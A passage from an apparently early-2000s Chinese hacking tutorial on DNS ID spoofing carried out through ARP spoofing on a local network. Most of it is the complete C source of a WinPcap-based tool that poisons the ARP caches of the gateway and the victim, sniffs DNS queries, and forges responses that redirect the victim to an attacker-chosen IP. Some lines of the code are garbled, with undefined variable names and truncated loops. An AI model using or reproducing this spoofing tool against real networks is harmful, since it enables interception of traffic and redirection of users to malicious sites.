只有一个,那就是我们发送的ID匹配的DSN响应数据报在DNS服务器发送的响应数据报之前
到达客户端。下图清楚的展现了DNS ID欺骗的过程:
Client <--response--| . . . . . .. . . . . . . . . . DNS Server
|<--[a.b.c == 112.112.112.112]-- Your Computer
到此,我想大家都知道了DNS ID欺骗的实质了,那么如何才能实现呢?这要分两种情
况:
1. 本地主机与DNS服务器,本地主机与客户端主机均不在同一个局域网内,方法有以下
几种:向客户端主机随机发送大量DNS响应数据报,命中率很低;向DNS服务器发起拒绝服
务攻击,太粗鲁;BIND漏洞,使用范围比较窄。
2. 本地主机至少与DNS服务器或客户端主机中的某一台处在同一个局域网内:我们可
以通过ARP欺骗来实现可靠而稳定的DNS ID欺骗,下面我们将详细讨论这种情况。

首先我们进行DNS ID欺骗的基础是ARP欺骗,也就是在局域网内同时欺骗网关和客户端
主机(也可能是欺骗网关和DNS服务器,或欺骗DNS服务器和客户端主机)。我们以客户端
的名义向网关发送ARP响应数据报,不过其中将源MAC地址改为我们自己主机的MAC地址;同
时以网关的名义向客户端主机发送ARP响应数据报,同样将源MAC地址改为我们自己主机的
MAC地址。这样以来,网关看来客户端的MAC地址就是我们主机的MAC地址;客户端也认为网
关的MAC地址为我们主机的MAC地址。由于在局域网内数据报的传送是建立在MAC地址之上了
,所以网关和客户端之间的数据流通必须先通过本地主机。详细介绍请参见《详谈调用 W
inPCap驱动写Arp多功能工具》。
在监视网关和客户端主机之间的数据报时,如果发现了客户端发送的DNS查询数据报(
目的端口为53),那么我们可以提前将自己构造的DNS响应数据报发送到客户端。注意,我
们必须提取有客户端发送来的DNS查询数据报的ID信息,因为客户端是通过它来进行匹配认
证的,这就是一个我们可以利用的DNS漏洞。这样客户端会先收到我们发送的DNS响应数据
报并访问我们自定义的网站,虽然客户端也会收到DNS服务器的响应报文,不过已经来不及
了,哈哈。
三> 核心代码分析
主程序创建两个线程,一个线程进行实时的ARP欺骗,另一个线程监听接收到的数据报
,若发现有域名服务查询数据报,则立即向客户端发送自定义的DSN响应数据报。测试环境
:Windows2000 + VC6.0 + Winpcap_3.0_alpha,注册表:HKEY_LOCAL_MACHINESYSTEMC
urrentControlSet ServicesTcpipParametersIPEnableRouter = 0x1。
1.sniff线程:
PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS);
//将网卡设置为混杂模式
PacketSetBuff(lpadapter,500*1024);
//设置网络适配器的内核缓存;
PacketSetReadTimeout(lpadapter,1);
//设置等待时间;
PacketReceivePacket(lpadapter,lppacketr,TRUE);
//接收网络数据报;
checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof
(QUERY)+sizeof(RESPONSE));
//计算校验和;
PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPH
DR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));
//初始化一个_PACKET结构,发送DNS响应数据报;

2.arpspoof线程;
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
//初始化ARP响应数据报;
PacketSendPacket(lpadapter,lppackets,TRUE);
//发送ARP欺骗的响应数据报;

3.getmac()函数
GetAdaptersInfo(padapterinfo,&adapterinfosize);
//获取网络适配器的属性;
SendARP(destip,0,pulmac,&ullen);
//发送ARP请求数据报,过去网络主机的MAC地址;

4.main()函数
PacketGetAdapterNames((char *)adaptername,&adapterlength);
//获得本地主机的网络适配器列表和描述;
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
//打开指定的网络适配器;
CreateThread(NULL,0,sniff,NULL,0,&threadrid);
CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
//创建两个线程;
WaitForMultipleObjects(2,thread,FALSE,INFINITE);
//等待其中的某个线程结束;
四> 小结与后记
局域网内的网络安全是一个值得大家关注的问题,往往容易发起各种欺骗攻击,这是
局域网自身的属性所决定的--网络共享。本文所讲解的DNS ID欺骗是基于ARP欺骗之上的网
络攻击,如果在广域网上,则比较麻烦。不过也有一些例外情况:如果IE中使用代理服务
器,欺骗不能进行,因为这时客户端并不会在本地进行域名请求;如果你访问的不是网站
主页,而是相关子目录的文件,这样你在自定义的网站上不会找到相关的文件,登陆以失
败告终。如果你不幸被欺骗了,先禁用本地连接,然后启用本地连接就可以清除DNS缓存。

五> 附之源代码
#include
#include
#include
#define ETH_IP 0x0800
#define ETH_ARP 0x0806
#define ARP_REQUEST 0x0001
#define ARP_REPLY 0x0002
#define ARP_HARDWARE 0x0001
#define MAX_NUM_ADAPTER 10
#define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct iphdr
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char protocol;
unsigned short checksum;
unsigned int sourceip;
unsigned int destip;
}IPHDR,*PIPHDR;
typedef struct psd
{
unsigned int saddr;
unsigned int daddr;
char mbz;
char ptcl;
unsigned short udpl;
}PSD,*PPSD;
typedef struct udphdr
{
unsigned short souceport;
unsigned short destport;
unsigned short length;
unsigned short checksum;
}UDPHDR,*PUDPHDR;
typedef struct dns
{
unsigned short id;
unsigned short flags;
unsigned short quests;
unsigned short answers;
unsigned short author;
unsigned short addition;
}DNS,*PDNS;
typedef struct query
{
unsigned short type;
unsigned short classes;
}QUERY,*PQUERY;

typedef struct response
{
unsigned short name;
unsigned short type;
unsigned short classes;
unsigned int ttl;
unsigned short length;
unsigned int addr;
}RESPONSE,*PRESPONSE;
#pragma pack(pop)
unsigned short checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum+=*buffer++;
size-=sizeof(unsigned short);
}
if(size)
cksum+=*buffer;
cksum=(cksum>>16)+(cksum & 0xffff);
cksum+=(cksum>>16);
return (unsigned short)(~cksum);
}
LPADAPTER lpadapter=0;
LPPACKET lppacketr,lppackets;
IPAddr myip,firstip,secondip,virtualip;
UCHAR mmac[6]={0},fmac[6]={0},smac[6]={0};
char adapterlist[MAX_NUM_ADAPTER][1024];
void start()
{
printf("===[ T-DNS Spoof, by TOo2y ]===
");
printf("===[ E-mail: TOo2y@safechina.net ]===
");
printf("===[ Homepage: _blank>www.safechina.net ]===
");
printf("===[ Date: 10-15-2002 ]===

");
return;
}
void usage()
{
printf("Usage: T-DNS Firstip Secondip Virtualip
");
return;
}
DWORD WINAPI sniff(LPVOID no)
{
printf("
I am sniffing...
");
char *buf;
char *pchar;
char temp[1024];
char sendbuf[1024];
char recvbuf[1024*250];
struct bpf_hdr *hdr;
unsigned char *dname;
unsigned long ulbytesreceived,off,ulen;
ETHDR ethr,eths;
IPHDR ipr,ips;
PSD psds;
UDPHDR udpr,udps;
DNS dnsr,dnss;
QUERY queryr,querys;
RESPONSE responses;

if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf("Warning: Unable to set the adapter to promiscuous mode!
");

}
if(PacketSetBuff(lpadapter,500*1024)==FALSE)
{
printf("PacketSetBuff Error: %d
",GetLastError());
return -1;
}
if(PacketSetReadTimeout(lpadapter,1)==FALSE)
{
printf("Warning: Unable to set the timeout!
");
}
if((lppacketr=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket Receive Error: %d
",GetLastError());
return -1;
}
PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));
while(1)
{
if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
{
break;
}
ulbytesreceived=lppacketr->ulBytesReceived;
buf=(char *)lppacketr->Buffer;
off=0;
while(off {
hdr=(struct bpf_hdr *)(buf+off);
off+=hdr->bh_hdrlen;
pchar=(char *)(buf+off);
off=Packet_WORDALIGN(off+hdr->bh_caplen);
ethr=*(ETHDR *)pchar;
if(ethr.eh_type==htons(ETH_IP))
{
ipr=*(IPHDR *)(pchar+sizeof(ETHDR));
if(ipr.protocol!=17)
{
continue;
}
if((ipr.sourceip!=secondip) && (ipr.sourceip!=firstip))
{
continue;
}
udpr=*(UDPHDR *)(pchar+sizeof(ETHDR)+sizeof(IPHDR));
ulen=ntohs(udpr.length)-sizeof(UDPHDR)-sizeof(DNS)-sizeof(QUERY);

dname=(unsigned char *)malloc(ulen*sizeof(unsigned char));
if(udpr.destport==htons(53))
{
printf("Get a DNS Packet... ");
memset(sendbuf,0,sizeof(sendbuf));
memcpy(&dnsr,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPH
DR),sizeof(DNS));
memcpy(dname,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPH
DR)+sizeof(DNS),ulen);
memcpy(&queryr.type,pchar+sizeof(ETHDR)+sizeof(IPHDR)+size
of(UDPHDR)+sizeof(DNS)+ulen,2);
memcpy(&queryr.classes,pchar+sizeof(ETHDR)+sizeof(IPHDR)+
sizeof(UDPHDR)+sizeof(DNS)+ulen+2,2);
responses.name=htons(0xC00C);
responses.type=queryr.type;
responses.classes=queryr.classes;
responses.ttl=0xFFFFFFFF;
responses.length=htons(4);
responses.addr=virtualip;
querys.classes=queryr.classes;
querys.type=queryr.type;
dnss.id=dnsr.id;
dnss.flags=htons(0x8180);
dnss.quests=htons(1);
dnss.answers=htons(1);
dnss.author=0;
dnss.addition=0;
udps.souceport=udpr.destport;
udps.destport=udpr.souceport;
udps.length=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY
)+sizeof(RESPONSE));
udps.checksum=0;

ips.h_lenver=(4<<4|sizeof(IPHDR)/sizeof(unsigned int));
ips.tos=0;
ips.total_len=ntohs(sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DN
S)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
ips.ident=htons(12345);
ips.frag_and_flags=0;
ips.ttl=255;
ips.protocol=IPPROTO_UDP;
ips.checksum=0;
ips.sourceip=ipr.destip;
ips.destip=ipr.sourceip;
psds.saddr=ips.sourceip;
psds.daddr=ips.destip;
psds.mbz=0;
psds.ptcl=IPPROTO_UDP;
psds.udpl=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUE
RY)+sizeof(RESPONSE));
memset(temp,0,sizeof(temp));
memcpy(temp,&psds,sizeof(PSD));
memcpy(temp+sizeof(PSD),&udps,sizeof(UDPHDR));
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR),&dnss,sizeof(DNS));
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS),dname,u
len);
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen,&query
s,sizeof(QUERY));
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+si
zeof(QUERY),&responses,sizeof(RESPONSE));
udps.checksum=checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHD
R)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));

memset(temp,0,sizeof(temp));
memcpy(temp,&ips,sizeof(IPHDR));
ips.checksum=checksum((USHORT *)temp,sizeof(IPHDR));
eths.eh_type=ethr.eh_type;
memcpy(es.eh_src,er.eh_dst,6);
memcpy(es.eh_dst,er.eh_src,6);
memcpy(sendbuf,es,sizeof(ETHDR));
memcpy(sendbuf+sizeof(ETHDR),&ips,sizeof(IPHDR));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR),&udps,sizeof(UD
PHDR));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR),&dns
s,sizeof(DNS));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+
sizeof(DNS),dname,ulen);
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+size
of(DNS)+ulen,&querys,sizeof(QUERY));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+
sizeof(DNS)+ulen+sizeof(QUERY),&responses,sizeof(RESPONSE));
PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)
+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==
FALSE)
{
printf("PacketSendPacket in DNS Spoof Error: %
d
",GetLastError());
break;
}
printf("Send DNS Spoof Packet Successfully!
");
}
}
}
}
return 0;
}
DWORD WINAPI arpspoof(LPVOID no)
{
printf("I am arpspoofing...

");
char sendbuf[1024];
struct sockaddr_in fsin,ssin;
ETHDR eth;
ARPHDR arp;
fsin.sin_addr.s_addr=firstip;
ssin.sin_addr.s_addr=secondip;
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
do
{
memcpy(eth.eh_dst,fmac,6);
memcpy(arp.arp_tha,fmac,6);
arp.arp_tpa=firstip;
arp.arp_spa=secondip;
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,e,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in arpspoof Error: %d
",GetLastError());

return -1;
}
Sleep(500);
memcpy(eth.eh_dst,smac,6);
memcpy(arp.arp_tha,smac,6);
arp.arp_tpa=secondip;
arp.arp_spa=firstip;
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,e,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in arpspoof Error: %d
",GetLastError());

return -1;
}
Sleep(500);
}while(1);

return 0;
}
BOOL getmac()
{
HRESULT hr;
IPAddr destip;
ULONG pulmac[2];
ULONG ullen;
DWORD err;
DWORD fixedinfosize=0;
DWORD adapterinfosize=0;
PIP_ADAPTER_INFO padapterinfo;
PIP_ADDR_STRING paddrstr;
if((err=GetAdaptersInfo(NULL,&adapterinfosize))!=0)
{
if(err!=ERROR_BUFFER_OVERFLOW)
{
printf("GetAdapterInfo size Error: %d
",GetLastError());
return FALSE;
}
}
if((padapterinfo=(PIP_ADAPTER_INFO)GlobalAlloc(GPTR,adapterinfosize))==NUL
L)
{
printf("Memory allocation Error: %d
",GetLastError());
return FALSE;
}
if((err=GetAdaptersInfo(padapterinfo,&adapterinfosize))!=0)
{
printf("GetAdaptersInfo Error: %d
",GetLastError());
return FALSE;
}
memcpy(mmac,padapterinfo->Address,6);
paddrstr=&(padapterinfo->IpAddressList);
myip=inet_addr(paddrstr->IpAddress.String);

ullen=6;
memset(pulmac,0xff,sizeof(pulmac));
destip=firstip;
if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
{
printf("SendARP firstip Error: %d
",GetLastError());
return FALSE;
}
memcpy(fmac,pulmac,6);
memset(pulmac,0xff,sizeof(pulmac));
destip=secondip;
if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
{
printf("SendARP secondip Error: %d
",GetLastError());
return FALSE;
}
memcpy(smac,pulmac,6);
return TRUE;
}

int main(int argc,char *argv[])
{
HANDLE thread[2];
WCHAR adaptername[8192];
WCHAR *name1,*name2;
ULONG adapterlength;
DWORD threadsid,threadrid;
int adapternum=0,open,i;
system("cls.exe");
start();
if(argc!=4)
{
usage();
return -1;
}
firstip=inet_addr(argv[1]);
secondip=inet_addr(argv[2]);
virtualip=inet_addr(argv[3]);
if(getmac()==FALSE)
{
return -1;
}
adapterlength=sizeof(adaptername);
if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
{
printf("PacketGetAdapterNames Error: %d
",GetLastError());
return -1;
}
name1=adaptername;
name2=adaptername;
i=0;
while((*name1!= ) || (*(name1-1)!= ))
{
if(*name1== )
{
memcpy(adapterlist[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
adapternum=i;
printf("Adapters Installed:
");
for(i=0;i {
wprintf(L"%d - %s
",i+1,adapterlist[i]);
}
do
{
printf("
Select the number of the adapter to open: ");
scanf("%d",&open);
if(open>=1 && open<=adapternum)
break;
}while(open<1 || open>adapternum);
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
{
printf("PacketOpenAdapter Error: %d
",GetLastError());
return -1;
}
if((lppackets=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket Send Error: %d
",GetLastError());
return -1;
}
thread[0]=CreateThread(NULL,0,sniff,NULL,0,&threadrid);
if(thread[0]==NULL)
{
printf("CreateThread for sniffer Error: %d
",GetLastError());
return -1;
}
thread[1]=CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
if(thread[1]==NULL)
{
printf("CreateThread for arpspoof Error: %d
",GetLastError());
return -1;
}
WaitForMultipleObjects(2,thread,FALSE,INFINITE);
CloseHandle(thread[0]);
CloseHandle(thread[1]);
PacketFreePacket(lppackets);
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
return 0;
}